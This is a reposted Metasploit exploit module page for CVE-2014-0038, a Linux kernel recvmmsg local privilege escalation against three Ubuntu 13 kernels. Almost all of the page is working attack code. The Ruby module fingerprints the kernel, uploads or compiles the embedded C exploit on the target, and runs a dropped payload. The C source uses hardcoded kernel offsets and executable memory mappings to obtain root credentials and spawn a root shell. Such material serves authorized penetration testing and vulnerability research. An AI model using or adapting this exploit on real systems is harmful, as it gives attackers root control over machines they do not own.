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Linux Kernel 3.13.1 Recvmmsg Privilege Escalation

Linux Kernel 3.13.1 Recvmmsg Privilege Escalation
Posted Oct 10, 2016
Authored by rebel, h00die | Site metasploit.com

This Metasploit module attempts to exploit CVE-2014-0038, by sending a recvmmsg system call with a crafted timeout pointer parameter to gain root. This exploit has offsets for 3 Ubuntu 13 kernels built in: 3.8.0-19-generic (13.04 default) 3.11.0-12-generic (13.10 default) 3.11.0-15-generic (13.10) This exploit may take up to 13 minutes to run due to a decrementing (1/sec) pointer which starts at 0xff*3 (765 seconds)

tags | exploit, kernel, root
systems | linux, ubuntu
advisories | CVE-2014-0038
SHA-256 | 82b7ac9274ee1da7aa1283d1f828bf5efb5666ae8d5432aec64d8da96a714f43

Linux Kernel 3.13.1 Recvmmsg Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
'Description' => %q{
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
system call with a crafted timeout pointer parameter to gain root.
This exploit has offsets for 3 Ubuntu 13 kernels built in:
3.8.0-19-generic (13.04 default)
3.11.0-12-generic (13.10 default)
3.11.0-15-generic (13.10)
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
pointer which starts at 0xff*3 (765 seconds)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Feb 2 2014',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Auto', { } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
'References' =>
[
[ 'EDB', '31347'],
[ 'EDB', '31346'],
[ 'CVE', '2014-0038'],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end

def check
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
if os_id == 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.11.0'
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
when '3.8.0'
if kernel == Gem::Version.new('3.8.0-19-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end

if kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end

def exploit

if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end


# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size

recvmmsg = %q{
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
*/

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};

struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};

void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;

if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}

sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}

}

void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);

if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}

fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;

uname(&u);

for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}

if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}

mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;

srand(time(NULL));
port = (rand() % 30000)+1500;

commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

if(mmapped == -1) {
perror("mmap()");
exit(-1);
}

memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}

sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);

if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}

memset(msgs, 0, sizeof(msgs));

iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;

for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}

close(sockfd);
fprintf(stderr,"\n");
trigger();
}
}

filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"

def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end

compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end

def upload_and_chmod(fname,fcontent)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
register_file_for_cleanup(fname)
end

if compile
recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
"system(\"#{payload_path}\");")
upload_and_chmod("#{executable_path}.c", recvmmsg)
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
register_file_for_cleanup(executable_path)
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
fd = ::File.open( path, "rb")
recvmmsg = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, recvmmsg)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'a0RwAacU'
payload_path = "/tmp/#{payload_filename}"
end

upload_and_chmod(payload_path, generate_payload_exe)
stime = Time.now
vprint_status("Exploiting... May take 13min. Start time: #{stime}")
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end
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